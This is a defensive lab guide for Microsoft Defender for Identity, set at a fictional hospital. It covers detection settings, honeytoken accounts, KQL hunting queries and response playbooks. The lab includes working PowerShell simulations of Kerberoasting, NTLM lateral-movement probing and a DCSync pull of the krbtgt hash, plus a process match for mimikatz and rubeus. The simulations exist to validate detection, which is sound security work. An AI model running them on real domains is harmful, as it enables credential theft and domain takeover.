Configure Identity Threat Detection

About This Lab

Microsoft Defender for Identity (MDI) uses a multi-layered detection engine that combines deterministic rules, behavioral analytics, and machine learning to identify identity-based attacks in real time. MDI maps every detection to the MITRE ATT&CK framework, covering tactics from Initial Access (T1078) and Credential Access (T1558, T1003) through Lateral Movement (T1550) to Domain Dominance (T1207). The behavioral analytics engine builds a baseline profile over a 30-day learning period for every user, device, and resource. detecting deviations that indicate compromised identities or insider threats. Detection categories include Reconnaissance (account enumeration, network mapping), Compromised credentials (brute force, Kerberoasting, AS-REP Roasting), Lateral movement (Pass-the-Hash, Pass-the-Ticket, overpass-the-hash), and Domain dominance (DCSync, Golden Ticket, Skeleton Key). This lab configures detection policies, simulates six real-world attack techniques, investigates alerts, tunes thresholds, and builds automated response procedures.

🏢 Enterprise Use Case

MedCare Health, a healthcare organization with 8,000 employees across 15 facilities, must protect Active Directory from identity attacks targeting patient data systems governed by HIPAA. The security team recently discovered that a compromised service account was used to perform Kerberoasting against the SQL Server service account that hosts the Electronic Health Records (EHR) database. The attacker extracted the service ticket, cracked the password offline, and accessed 50,000 patient records before the breach was detected. 47 days after initial compromise.

MedCare deployed MDI sensors in Lab 01 and now needs to configure detection policies, deploy honeytoken traps, simulate attack techniques to validate coverage, and build a rapid response playbook. Success criteria include all detection policies active, sensitive accounts tagged, honeytoken accounts deployed, attack simulations generating alerts within 15 minutes, and SOC response procedures documented.

🎯 What You Will Learn

1. Review and understand MDI’s default detection policies and their MITRE ATT&CK mappings
2. Configure alert notification settings for email, SIEM integration, and Defender XDR incidents
3. Tag sensitive accounts and groups to elevate alert severity for privileged identities
4. Deploy honeytoken accounts as early-warning tripwires for reconnaissance activity
5. Simulate a Kerberoasting attack and validate that MDI generates a credential access alert
6. Simulate a Pass-the-Hash attack to test lateral movement detection capabilities
7. Simulate a DCSync attack to validate domain dominance detection
8. Simulate lateral movement techniques and verify detection of abnormal resource access
9. Review, triage, and investigate generated alerts in the Microsoft Defender portal
10. Tune detection thresholds and configure exclusions to reduce false positives
11. Build Advanced Hunting queries (KQL) for proactive identity threat hunting
12. Document alert response procedures and integrate with SOC workflows

🔑 Why This Matters

Identity is the #1 attack vector: 80% of breaches involve compromised credentials according to the Verizon DBIR, and identity attacks increased 300% year-over-year per the Microsoft Digital Defense Report. The average credential theft goes undetected for 207 days without behavioral analytics. MDI detects these attacks within minutes by analyzing protocol-level anomalies. Lateral movement attacks (Pass-the-Hash, Pass-the-Ticket) abuse legitimate Kerberos and NTLM protocols, making them invisible to traditional SIEM log-based detection. Healthcare organizations face an average breach cost of $10.93 million (IBM Cost of a Data Breach 2023), with identity compromises being the most expensive attack vector. Regulatory frameworks (HIPAA, NIST 800-53 IA controls, PCI DSS Requirement 8) mandate identity monitoring and detection capabilities that MDI provides out of the box.

• Lab 01 Completed: MDI sensors must be deployed and healthy on all domain controllers (Deploy MDI Sensors on Domain Controllers)
• Licensing: Microsoft Defender for Identity (included in Microsoft 365 E5, EMS E5, or standalone MDI license)
• Portal Access: Security Administrator or Global Administrator role in security.microsoft.com
• Test Accounts: At least 3 non-privileged domain user accounts for attack simulations (do not use production accounts)
• Test Machine: A domain-joined Windows Server 2019/2022/2025 or Windows 10/11 workstation for running simulations (not a domain controller)
• RSAT Tools: Active Directory PowerShell module installed on the test machine
• DSInternals Module: Required for DCSync simulation (Install-Module DSInternals -Force)
• Lab Scripts: Clone or download the LessIT script repository. scripts are in scripts/mdi/

MDI ships with over 40 built-in detection policies that are active by default. Start by reviewing these policies and understanding how they map to MITRE ATT&CK techniques.

Navigate to Detection Settings

1. Open the Microsoft Defender portal at security.microsoft.com
2. Navigate to Settings > Identities > Detection settings
3. Review the Alert categories and their detection types:
   • Reconnaissance: Account enumeration, network mapping, LDAP queries, SAM-R enumeration
   • Compromised credentials: Brute force, Kerberoasting, AS-REP Roasting, suspected credential exposure
   • Lateral movement: Pass-the-Hash, Pass-the-Ticket, overpass-the-hash, remote code execution
   • Domain dominance: DCSync, Golden Ticket, Skeleton Key, DCShadow, malicious group modifications
   • Exfiltration: Suspicious VPN connections, data exfiltration over DNS
4. Click on individual detections to review their description, severity, and MITRE ATT&CK mapping

Verify Detection Status via PowerShell

# Connect to Microsoft Graph Security API to list MDI alerts configuration
Connect-MgGraph -Scopes "SecurityAlert.Read.All","SecurityAlert.ReadWrite.All"

# Retrieve identity-related alert policies
$alerts = Get-MgSecurityAlert -Filter "serviceSource eq 'microsoftDefenderForIdentity'" `
    -Top 50 | Select-Object Title, Severity, Status, Category

$alerts | Sort-Object Category, Severity | Format-Table -AutoSize

# Count detections by category
$alerts | Group-Object Category | Select-Object Name, Count | Format-Table

Configure how the SOC team receives notifications for identity threat alerts. MDI integrates with email, Microsoft Defender XDR incidents, and SIEM solutions via the Security API.

Configure Email Notifications

1. In the Defender portal, go to Settings > Identities > Notifications
2. Under Alert notifications, click Add notification rule
3. Configure:
   • Name: MDI-HighSeverity-SOC
   • Severity filter: High and Critical
   • Recipients: soc-team@medcarehealth.com
   • Include alert details: Enabled
4. Create a second rule for Medium severity to notify the identity team: identity-admins@medcarehealth.com
5. Click Save for each notification rule

Configure Health Alert Notifications

1. Navigate to Settings > Identities > Health issues notifications
2. Add the SOC operations email so any sensor health degradation triggers an immediate notification
3. Enable Email notifications for health alerts toggle

Sensitive account tagging is critical for MDI. When a tagged sensitive account is involved in an alert, the severity is automatically elevated. MDI auto-tags some groups (Domain Admins, Enterprise Admins), but you must manually tag service accounts, executives, and other high-value targets.

Review Auto-Tagged Groups

1. In the Defender portal, navigate to Settings > Identities > Entity tags > Sensitive
2. Review the automatically tagged groups: Domain Admins, Enterprise Admins, Schema Admins, Administrators, Account Operators, Backup Operators, Server Operators, Print Operators
3. Note: any user who is a member of these groups is automatically treated as sensitive

Tag Additional Sensitive Accounts

# Identify high-value accounts to tag as sensitive in MDI
Import-Module ActiveDirectory

# Service accounts with SPNs (potential Kerberoasting targets)
$spnAccounts = Get-ADUser -Filter {ServicePrincipalName -ne "$null"} `
    -Properties ServicePrincipalName, Description |
    Select-Object Name, SamAccountName, Description

Write-Host "=== Service Accounts with SPNs ===" -ForegroundColor Cyan
$spnAccounts | Format-Table -AutoSize

# Accounts with AdminCount=1 (have or had admin privileges)
$adminAccounts = Get-ADUser -Filter {AdminCount -eq 1} `
    -Properties AdminCount, MemberOf |
    Select-Object Name, SamAccountName

Write-Host "=== Accounts with AdminCount=1 ===" -ForegroundColor Cyan
$adminAccounts | Format-Table -AutoSize

# Accounts with delegation permissions
$delegated = Get-ADUser -Filter {TrustedForDelegation -eq $true -or TrustedToAuthForDelegation -eq $true} `
    -Properties TrustedForDelegation, TrustedToAuthForDelegation |
    Select-Object Name, SamAccountName, TrustedForDelegation, TrustedToAuthForDelegation

Write-Host "=== Accounts Trusted for Delegation ===" -ForegroundColor Cyan
$delegated | Format-Table -AutoSize

1. In the portal, click + Add entity under the Sensitive tag
2. Add each identified service account, executive account, and break-glass account
3. Add the EHR database service account (svc-ehr-sql) and backup service accounts
4. Add C-level executive accounts and their administrative assistants

Honeytoken accounts are decoy AD accounts that should never be used in production. Any authentication attempt against a honeytoken triggers an immediate high-severity alert, providing an early warning of reconnaissance or credential stuffing attacks.

Create Honeytoken Accounts in Active Directory

# Create realistic-looking honeytoken accounts
# These accounts lure attackers during reconnaissance

$honeytokens = @(
    @{ Name = "svc-backup-admin"; Desc = "Backup Administration Service"; OU = "OU=ServiceAccounts,DC=medcare,DC=local" },
    @{ Name = "admin.legacy";     Desc = "Legacy Admin. Do Not Delete";  OU = "OU=AdminAccounts,DC=medcare,DC=local" },
    @{ Name = "svc-sql-reporting"; Desc = "SQL Reporting Service Account"; OU = "OU=ServiceAccounts,DC=medcare,DC=local" }
)

foreach ($ht in $honeytokens) {
    $securePassword = ConvertTo-SecureString "H0n3yT0k3n_$(Get-Random -Max 9999)!Bait" -AsPlainText -Force
    New-ADUser -Name $ht.Name `
        -SamAccountName $ht.Name `
        -Description $ht.Desc `
        -Path $ht.OU `
        -AccountPassword $securePassword `
        -Enabled $true `
        -PasswordNeverExpires $true `
        -CannotChangePassword $true

    # Add a fake SPN to make it attractive to Kerberoasting tools
    Set-ADUser -Identity $ht.Name -ServicePrincipalNames @{Add="MSSQLSvc/$($ht.Name).medcare.local:1433"}

    Write-Host "[CREATED] Honeytoken: $($ht.Name)" -ForegroundColor Green
}

Tag Honeytokens in the Defender Portal

1. In the Defender portal, go to Settings > Identities > Entity tags > Honeytoken
2. Click + Add entity and search for each honeytoken account
3. Tag svc-backup-admin, admin.legacy, and svc-sql-reporting as honeytokens
4. Verify that the tag is applied: navigate to the entity page and confirm the honeytoken badge

Kerberoasting is a credential access technique (MITRE ATT&CK T1558.003) where an attacker requests Kerberos service tickets for accounts with SPNs, then extracts and cracks the ticket's encrypted portion offline to recover the service account password. MDI detects this by identifying abnormal volumes of TGS requests from a single source.

Run the Kerberoasting Simulation

# Kerberoasting Simulation. requests TGS tickets for all SPN accounts
# MITRE ATT&CK: T1558.003. Kerberoasting
# Run from a domain-joined test machine as a standard domain user

Import-Module ActiveDirectory

# Enumerate all user accounts with SPNs
$spnUsers = Get-ADUser -Filter {ServicePrincipalName -ne "$null"} `
    -Properties ServicePrincipalName |
    Where-Object { $_.Enabled -eq $true }

Write-Host "[Kerberoasting] Found $($spnUsers.Count) accounts with SPNs" -ForegroundColor Yellow

# Request TGS tickets for each SPN (this triggers MDI detection)
Add-Type -AssemblyName System.IdentityModel

foreach ($user in $spnUsers) {
    foreach ($spn in $user.ServicePrincipalName) {
        try {
            $ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken `
                -ArgumentList $spn
            Write-Host "  [TGS] Requested ticket for: $spn" -ForegroundColor Cyan
        } catch {
            Write-Host "  [SKIP] Failed for: $spn. $($_.Exception.Message)" -ForegroundColor Gray
        }
    }
}

# Display cached Kerberos tickets
Write-Host "`n[Result] Cached Kerberos tickets:" -ForegroundColor Yellow
klist

Expected MDI Alert

• Alert title: Suspected Kerberoasting activity
• Severity: Medium (elevated to High if sensitive accounts are targeted)
• MITRE ATT&CK: T1558.003 · Steal or Forge Kerberos Tickets: Kerberoasting
• Source entity: The test machine and user account that ran the simulation

Pass-the-Hash (PtH) is a lateral movement technique (MITRE ATT&CK T1550.002) where an attacker uses a stolen NTLM hash to authenticate without knowing the plaintext password. MDI detects this by correlating authentication patterns: when the same hash is used from a new, unexpected source, it raises an alert.

Run the Credential Theft Simulation

Use the LessIT lab script Invoke-MDICredentialTheftSim.ps1 to simulate Kerberoasting and AS-REP Roasting, which are precursors to Pass-the-Hash attacks.

# Run the LessIT credential theft simulation script
# This simulates both Kerberoasting and AS-REP Roasting attacks
# Reference: scripts/mdi/Invoke-MDICredentialTheftSim.ps1

# Option 1: Run both attack types
.\Invoke-MDICredentialTheftSim.ps1 -AttackType Both

# Option 2: Run Kerberoasting only
.\Invoke-MDICredentialTheftSim.ps1 -AttackType Kerberoasting

# Option 3: Run AS-REP Roasting only
.\Invoke-MDICredentialTheftSim.ps1 -AttackType ASREPRoasting

Simulate Pass-the-Hash with NTLM Authentication

# Simulate abnormal NTLM authentication patterns
# This creates authentication anomalies that MDI's behavioral engine detects
# MITRE ATT&CK: T1550.002. Use Alternate Authentication Material: Pass the Hash

# Step 1: Enumerate target systems (generates reconnaissance signals)
$targets = @("DC01", "FILE01", "SQL01", "APP01")
foreach ($target in $targets) {
    Write-Host "[PtH Sim] Testing NTLM auth to $target..." -ForegroundColor Yellow
    try {
        # Force NTLM authentication (not Kerberos) by using IP instead of hostname
        $ip = [System.Net.Dns]::GetHostAddresses($target) |
            Where-Object { $_.AddressFamily -eq 'InterNetwork' } |
            Select-Object -First 1
        if ($ip) {
            $result = Test-Path "\\$($ip.IPAddressToString)\C$" -ErrorAction SilentlyContinue
            Write-Host "  [NTLM] Auth to $target ($ip): $(if($result){'Success'}else{'Access Denied'})" -ForegroundColor Cyan
        }
    } catch {
        Write-Host "  [SKIP] $target unreachable" -ForegroundColor Gray
    }
}

# Step 2: Rapid sequential NTLM authentications (triggers behavioral anomaly)
Write-Host "`n[PtH Sim] Rapid sequential auth attempts..." -ForegroundColor Yellow
1..20 | ForEach-Object {
    $randomTarget = $targets | Get-Random
    Test-Path "\\$randomTarget\ADMIN$" -ErrorAction SilentlyContinue | Out-Null
    Start-Sleep -Milliseconds 500
}

Expected MDI Alerts

• Suspected identity theft (pass-the-hash): Triggered when NTLM hash reuse is detected from an abnormal source
• Suspected AS-REP Roasting activity: Triggered when AS-REP requests target accounts without pre-authentication
• Abnormal resource access: Triggered by rapid authentication against multiple resources

DCSync (MITRE ATT&CK T1003.006) is a domain dominance technique where an attacker impersonates a domain controller and uses the Directory Replication Service (DRS) protocol to request password hashes for any account, including krbtgt. Obtaining the krbtgt hash enables Golden Ticket attacks. MDI detects DCSync by identifying replication requests originating from non-DC machines.

Run the DCSync Simulation

# DCSync Simulation using the LessIT lab script
# Reference: scripts/mdi/Invoke-MDIDCSyncSimulation.ps1
# MITRE ATT&CK: T1003.006. OS Credential Dumping: DCSync
#
# CRITICAL: This extracts real credential data from AD.
# Run ONLY in isolated test environments with explicit authorization.

# Install DSInternals module (required for replication simulation)
if (-not (Get-Module -ListAvailable -Name DSInternals)) {
    Install-Module -Name DSInternals -Force -Scope CurrentUser
}
Import-Module DSInternals

# Option 1: Use the LessIT simulation script
.\Invoke-MDIDCSyncSimulation.ps1 -TargetAccount "krbtgt"

# Option 2: Manual DCSync simulation targeting krbtgt
# This requests directory replication from a non-DC machine
$dc = (Get-ADDomainController -Discover).HostName[0]
Write-Host "[DCSync] Requesting replication from $dc..." -ForegroundColor Red
Write-Host "[DCSync] Target account: krbtgt" -ForegroundColor Red

try {
    Get-ADReplAccount -SamAccountName "krbtgt" `
        -Server $dc `
        -Protocol TCP
    Write-Host "[DCSync] Replication data received. ALERT SHOULD FIRE" -ForegroundColor Red
} catch {
    Write-Host "[DCSync] Replication request made (may fail without permissions)" -ForegroundColor Yellow
    Write-Host "  The request itself triggers MDI detection regardless of success" -ForegroundColor Gray
}

Expected MDI Alert

• Alert title: Suspected DCSync attack (replication of directory services)
• Severity: Critical
• MITRE ATT&CK: T1003.006 · OS Credential Dumping: DCSync
• Evidence: Source computer (non-DC), target DC, replicated object (krbtgt)

Lateral movement (MITRE ATT&CK TA0008) is the phase where attackers move from an initial foothold to high-value targets. MDI detects abnormal resource access, suspicious SMB sessions, remote execution attempts, and lateral movement path exploitation. This simulation uses the LessIT Invoke-MDILateralMovementSim.ps1 script.

Run the Lateral Movement Simulation

# Lateral Movement Simulation using the LessIT lab script
# Reference: scripts/mdi/Invoke-MDILateralMovementSim.ps1
# MITRE ATT&CK: T1550. Use Alternate Authentication Material

# Run the simulation targeting a test server
.\Invoke-MDILateralMovementSim.ps1 -TargetComputer "YOURTEST-SERVER01"

# The script will:
# 1. Test connectivity to the target
# 2. Enumerate shares and admin access via SMB
# 3. Attempt remote WMI queries
# 4. Attempt remote service enumeration
# 5. Simulate abnormal authentication patterns

Additional Lateral Movement Techniques

# Additional lateral movement simulation techniques
# Each technique generates different MDI alerts

$testTargets = @("DC01", "FILE01", "SQL01")

# Technique 1: Remote WMI execution (T1047)
foreach ($target in $testTargets) {
    Write-Host "[Lateral] WMI query to $target..." -ForegroundColor Yellow
    try {
        Get-WmiObject -Class Win32_OperatingSystem -ComputerName $target -ErrorAction Stop |
            Select-Object CSName, Caption | Format-Table -AutoSize
    } catch {
        Write-Host "  Access denied or unreachable (still triggers MDI)" -ForegroundColor Gray
    }
}

# Technique 2: Remote service enumeration (T1007)
foreach ($target in $testTargets) {
    Write-Host "[Lateral] Enumerating services on $target..." -ForegroundColor Yellow
    try {
        Get-Service -ComputerName $target -ErrorAction Stop |
            Where-Object { $_.Status -eq "Running" } |
            Select-Object -First 5 Name, DisplayName | Format-Table -AutoSize
    } catch {
        Write-Host "  Access denied (triggers abnormal resource access)" -ForegroundColor Gray
    }
}

# Technique 3: SMB share enumeration (T1135)
foreach ($target in $testTargets) {
    Write-Host "[Lateral] Enumerating shares on $target..." -ForegroundColor Yellow
    try {
        net view "\\$target" 2>&1
    } catch {
        Write-Host "  Enumeration blocked" -ForegroundColor Gray
    }
}

Expected MDI Alerts

• Suspected identity theft (pass-the-hash): Abnormal NTLM authentication from unexpected source
• Lateral movement path alert: User accessing resources not in their normal behavioral profile
• Remote code execution attempt: WMI or remote service manipulation detected
• Abnormal SMB session: Unusual SMB connections to multiple servers in rapid succession

After running simulations in Steps 5–8, identity alerts should appear in the Defender portal within 5–15 minutes. This step walks you through triaging and investigating each alert.

Review Alerts in the Defender Portal

1. Navigate to Incidents & alerts > Alerts in the Defender portal
2. Filter by Service source: Microsoft Defender for Identity
3. Sort by Severity (Critical first). You should see:
   • Critical: Suspected DCSync attack
   • High: Honeytoken activity, Suspected identity theft
   • Medium: Suspected Kerberoasting activity, Suspected AS-REP Roasting
4. Click on the DCSync alert to open the investigation view

Investigate the DCSync Alert

1. Review the Alert story: source computer, source user, target DC, and replicated objects
2. Check the Evidence tab: verify the source is your test machine (not a real DC)
3. Examine the Source device timeline: look for preceding reconnaissance or credential access alerts
4. Review Related alerts: MDI auto-correlates alerts into incidents when attacks follow a kill chain pattern
5. Click Investigate in timeline to see the full sequence of events from the source entity

Alert Investigation Checklist

# PowerShell: Query recent MDI alerts via Microsoft Graph
Connect-MgGraph -Scopes "SecurityAlert.Read.All"

$mdiAlerts = Get-MgSecurityAlert -Filter "serviceSource eq 'microsoftDefenderForIdentity'" `
    -Top 20 -OrderBy "createdDateTime desc" |
    Select-Object Title, Severity, Status, Category, CreatedDateTime,
        @{N='SourceEntity';E={$_.Evidence[0].DisplayName}},
        @{N='MitreTechnique';E={$_.MitreTechniques -join ', '}}

$mdiAlerts | Format-Table Title, Severity, Category, MitreTechnique -AutoSize

# Triage summary
Write-Host "`n=== Alert Summary ===" -ForegroundColor Cyan
$mdiAlerts | Group-Object Severity | Select-Object Name, Count | Format-Table

Reducing false positives is critical for SOC efficiency. MDI allows you to exclude specific accounts, devices, or subnets from individual detections without disabling the entire detection policy.

Configure Exclusions for Known-Good Activity

1. Navigate to Settings > Identities > Excluded entities
2. For DCSync detection: exclude any legitimate replication tools or Azure AD Connect servers:
   • Add the Azure AD Connect server hostname (it performs legitimate replication)
   • Add any disaster recovery tools that use DRS protocol
3. For Reconnaissance alerts: exclude vulnerability scanners and IT asset management tools:
   • Add the IP address of Qualys/Tenable/Rapid7 scanner appliances
   • Add service accounts used by SCCM/Intune for device enumeration
4. For Lateral movement alerts: exclude IT helpdesk accounts that legitimately connect to multiple machines

Document Exclusions

# Document all MDI exclusions for audit and review
# Maintain this as a living document. review quarterly

$exclusions = @(
    [PSCustomObject]@{
        Detection    = "DCSync"
        ExcludedEntity = "AADC01.medcare.local"
        Reason       = "Azure AD Connect server performs legitimate DRS replication"
        ApprovedBy   = "CISO. Jane Smith"
        DateApproved = "2026-03-06"
        ReviewDate   = "2026-06-06"
    },
    [PSCustomObject]@{
        Detection    = "Reconnaissance (SAM-R)"
        ExcludedEntity = "svc-qualys-scanner"
        Reason       = "Qualys vulnerability scanner enumerates AD for asset discovery"
        ApprovedBy   = "SOC Lead. John Doe"
        DateApproved = "2026-03-06"
        ReviewDate   = "2026-06-06"
    },
    [PSCustomObject]@{
        Detection    = "Abnormal resource access"
        ExcludedEntity = "helpdesk-tier2"
        Reason       = "Tier 2 helpdesk connects to 50+ machines daily for support"
        ApprovedBy   = "SOC Lead. John Doe"
        DateApproved = "2026-03-06"
        ReviewDate   = "2026-06-06"
    }
)

$exclusions | Format-Table Detection, ExcludedEntity, Reason -AutoSize -Wrap
$exclusions | Export-Csv -Path "MDI_Exclusions_Registry.csv" -NoTypeInformation
Write-Host "Exclusions registry saved to MDI_Exclusions_Registry.csv" -ForegroundColor Green

Advanced Hunting in Microsoft Defender XDR uses Kusto Query Language (KQL) to proactively search for identity threats. The IdentityLogonEvents, IdentityQueryEvents, and IdentityDirectoryEvents tables contain MDI telemetry.

Query 1: Detect Kerberoasting Patterns

// KQL: Detect potential Kerberoasting - abnormally high volume of TGS (Ticket Granting Service) requests
// WHAT: Identifies accounts requesting Kerberos service tickets for many different SPNs in a short window
// WHY:  Kerberoasting (MITRE ATT&CK T1558.003) requests TGS tickets for service accounts, then cracks
//       the ticket offline to recover passwords. Normal users rarely request TGS for multiple accounts.
// TABLE: IdentityLogonEvents - captures all Kerberos/NTLM authentication events from DC sensors
// THRESHOLDS: >10 TGS requests AND >3 unique target accounts in 1 hour = suspicious
//   - Normal: A user authenticates to 1-3 services per hour
//   - Suspicious: Kerberoasting tools request tickets for ALL SPN accounts at once
// OUTPUT: Source device, account, TGS request count, and list of targeted accounts
// RUN IN: Microsoft Defender XDR > Hunting > Advanced Hunting

IdentityLogonEvents
| where Timestamp > ago(24h)
| where Protocol == "Kerberos"
| where LogonType == "Logon with credentials"     // TGS requests use this LogonType
| summarize
    TGS_RequestCount = count(),
    UniqueTargetAccounts = dcount(TargetAccountDisplayName),
    TargetAccounts = make_set(TargetAccountDisplayName, 10)
    by DeviceName, AccountDisplayName, bin(Timestamp, 1h)
| where TGS_RequestCount > 10 and UniqueTargetAccounts > 3
| sort by TGS_RequestCount desc

Query 2: Detect DCSync and Replication Anomalies

// KQL: Detect directory replication requests from non-DC machines (DCSync attack indicator)
// WHAT: Finds machines using the Directory Replication Service (DRS/DRSUAPI) protocol that are NOT DCs
// WHY:  DCSync (MITRE ATT&CK T1003.006) lets an attacker impersonate a DC and request password hashes
//       for ANY account (including krbtgt for Golden Ticket attacks). Legitimate replication ONLY occurs
//       between domain controllers - any other source is highly suspicious.
// TABLE: IdentityDirectoryEvents - captures AD object changes and replication events
// OUTPUT: Non-DC machines that performed directory replication, with timestamps and protocols
//         Any result here should be treated as Critical severity and investigated immediately.
//         Exception: Azure AD Connect servers perform legitimate replication (exclude them).

IdentityDirectoryEvents
| where Timestamp > ago(7d)
| where ActionType == "Directory Services replication"
| where DestinationDeviceName != ""
| project Timestamp, AccountDisplayName, DeviceName,
    DestinationDeviceName, ActionType, Protocol
| join kind=leftanti (
    // Exclude known domain controllers (machines with "DC" in the name)
    // Adjust this filter to match your DC naming convention
    IdentityDirectoryEvents
    | where ActionType == "Directory Services replication"
    | where DeviceName has "DC"
    | distinct DeviceName
) on DeviceName
| sort by Timestamp desc

Query 3: Detect Abnormal NTLM Authentication

// KQL: Detect NTLM authentication anomalies that may indicate Pass-the-Hash (PtH) attacks
// WHAT: Identifies accounts with abnormally high NTLM logon counts or authenticating to many devices
// WHY:  Pass-the-Hash (MITRE ATT&CK T1550.002) uses stolen NTLM hashes to authenticate without
//       knowing the plaintext password. Modern environments should predominantly use Kerberos.
//       High NTLM volume from a single account - especially to many unique devices - suggests
//       an attacker reusing a stolen hash to move laterally across the network.
// TABLE: IdentityLogonEvents - Protocol field distinguishes Kerberos vs NTLM authentication
// THRESHOLDS: >15 NTLM logons OR >5 unique target devices in 1 hour = suspicious
//   - Normal: Service accounts may use NTLM for legacy apps (expect <5 per hour)
//   - Suspicious: Lateral movement tools spray NTLM auth across many machines rapidly
// OUTPUT: Account, NTLM logon count, number of unique devices, and device list

IdentityLogonEvents
| where Timestamp > ago(24h)
| where Protocol == "NTLM"
| where LogonType == "Logon with credentials"     // Filters to actual credential-based NTLM auth
| summarize
    NTLM_LogonCount = count(),
    UniqueDevices = dcount(DeviceName),
    Devices = make_set(DeviceName, 20)
    by AccountDisplayName, bin(Timestamp, 1h)
| where NTLM_LogonCount > 15 or UniqueDevices > 5
| sort by NTLM_LogonCount desc
| project Timestamp, AccountDisplayName, NTLM_LogonCount,
    UniqueDevices, Devices

Query 4: Sensitive Group Modification Monitoring

// KQL: Monitor privilege escalation via modifications to sensitive AD security groups
// WHAT: Detects when members are added to or removed from high-privilege AD groups
// WHY:  Attackers escalate privileges by adding compromised accounts to Domain Admins, Enterprise
//       Admins, or other sensitive groups (MITRE ATT&CK T1098 - Account Manipulation).
//       Any change to these groups should trigger an immediate investigation.
// TABLE: IdentityDirectoryEvents - ActionType "Group Membership changed" fires for add/remove
// FIELD: AdditionalFields.["TO.GROUP"] contains the group name that was modified
// OUTPUT: Timestamp, who made the change, which group was modified, and from which device
//         Save as a Custom Detection Rule with "Every hour" frequency for continuous monitoring.

let SensitiveGroups = dynamic([
    "Domain Admins", "Enterprise Admins", "Schema Admins",
    "Administrators", "Account Operators", "Backup Operators",
    "Server Operators", "DnsAdmins"   // DnsAdmins can escalate to DA via DNS service abuse
]);
IdentityDirectoryEvents
| where Timestamp > ago(30d)
| where ActionType == "Group Membership changed"
| extend ModifiedGroup = tostring(AdditionalFields.["TO.GROUP"])
| where ModifiedGroup in~ (SensitiveGroups)
| project Timestamp, AccountDisplayName, ActionType,
    ModifiedGroup, DeviceName, DestinationDeviceName
| sort by Timestamp desc

1. Navigate to Hunting > Advanced Hunting in the Defender portal
2. Paste each query, click Run query, and review results
3. Save each query as a Custom detection rule to generate automated alerts
4. Set detection frequency to Every hour for critical queries (DCSync, group changes)
5. Set detection frequency to Every 24 hours for trending queries (NTLM patterns)

Detection without response is just monitoring. Build standardized response procedures (playbooks) for each MDI alert category so the SOC can respond consistently and rapidly.

Response Playbook: Critical · DCSync Attack

1. Immediate (0–5 min): Verify source machine is NOT a domain controller. If confirmed non-DC, this is a true positive.
2. Contain (5–15 min): Disable the source user account. Isolate the source machine from the network (use MDE device isolation if available).
3. Assess (15–60 min): Determine which accounts were replicated. If krbtgt was targeted, initiate a double krbtgt password reset.
4. Investigate (1–4 hr): Trace the attack chain backwards. how did the attacker get replication permissions? Check for privilege escalation alerts.
5. Remediate (4–24 hr): Remove unnecessary replication permissions. Review and restrict delegation settings. Reset passwords for compromised accounts.
6. Report: File an incident report with MITRE ATT&CK mapping, timeline, impacted accounts, and remediation steps.

Response Playbook: High · Kerberoasting Activity

1. Immediate: Identify the source user and machine. Check if this is a known security tool or penetration test.
2. Contain: Reset passwords for all targeted service accounts immediately (especially SQL and admin service accounts).
3. Assess: Check if any honeytoken accounts were targeted. if so, the attacker is performing broad enumeration.
4. Harden: Rotate all SPN accounts to 25+ character managed passwords. Convert to Group Managed Service Accounts (gMSA) where possible.
5. Monitor: Create enhanced monitoring for the source user for 72 hours.

Response Playbook: High · Lateral Movement

1. Immediate: Identify the source and destination machines. Map the lateral movement path.
2. Contain: Isolate the source machine. Force password reset for the involved account.
3. Assess: Determine if the attacker reached any sensitive resources (DCs, database servers, file shares).
4. Investigate: Review MDI’s lateral movement paths for the compromised account to find other potential targets.
5. Remediate: Remove unnecessary local admin rights. Implement LAPS for local administrator passwords.

Automated Response Script

# Automated MDI Alert Response. Critical Severity
# Integrate with your SOAR platform or run manually during triage

param(
    [Parameter(Mandatory=$true)]
    [string]$AlertId,
    [string]$SourceUser,
    [string]$SourceComputer
)

Write-Host "=== MDI CRITICAL ALERT RESPONSE ===" -ForegroundColor Red

# Step 1: Disable the compromised account
if ($SourceUser) {
    Write-Host "[CONTAIN] Disabling account: $SourceUser" -ForegroundColor Yellow
    Disable-ADAccount -Identity $SourceUser
    Write-Host "  Account disabled" -ForegroundColor Green

    # Force password reset on next enable
    Set-ADUser -Identity $SourceUser -ChangePasswordAtLogon $true
}

# Step 2: Gather forensic data before isolation
if ($SourceComputer) {
    Write-Host "[FORENSIC] Collecting data from $SourceComputer" -ForegroundColor Yellow
    $sessions = Invoke-Command -ComputerName $SourceComputer -ScriptBlock {
        Get-Process | Where-Object { $_.Name -match "mimikatz|rubeus|powershell" } |
            Select-Object Name, Id, Path, StartTime
    } -ErrorAction SilentlyContinue
    $sessions | Format-Table -AutoSize
}

# Step 3: Log the response action
$logEntry = [PSCustomObject]@{
    Timestamp     = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    AlertId       = $AlertId
    SourceUser    = $SourceUser
    SourceComputer = $SourceComputer
    ActionTaken   = "Account disabled, forensic data collected"
    Responder     = $env:USERNAME
}
$logEntry | Export-Csv -Path "MDI_Response_Log.csv" -Append -NoTypeInformation
Write-Host "[LOG] Response action logged" -ForegroundColor Green

What You Accomplished

• Reviewed MDI’s 40+ built-in detection policies and their MITRE ATT&CK mappings across five categories
• Configured tiered email notifications and health alert monitoring for the SOC team
• Tagged sensitive accounts (service accounts, executives, break-glass accounts) to elevate alert severity
• Deployed honeytoken accounts as early-warning tripwires with realistic names and SPNs
• Simulated Kerberoasting, Pass-the-Hash, DCSync, and lateral movement attacks to validate detection coverage
• Investigated generated alerts, reviewed evidence, and correlated identity alerts into incidents
• Tuned detection thresholds and configured exclusions with documented business justifications
• Built Advanced Hunting KQL queries for proactive identity threat detection
• Documented SOC response playbooks for Critical, High, and Medium severity identity alerts

Next Steps

• Next Lab: Integrate MDI with Microsoft Sentinel and XDR
• Convert all SPN service accounts to Group Managed Service Accounts (gMSA) to mitigate Kerberoasting risk
• Implement LAPS (Local Administrator Password Solution) to break lateral movement paths
• Schedule monthly attack simulations to validate detection coverage and SOC response time
• Integrate response playbooks with Microsoft Sentinel automation for sub-minute containment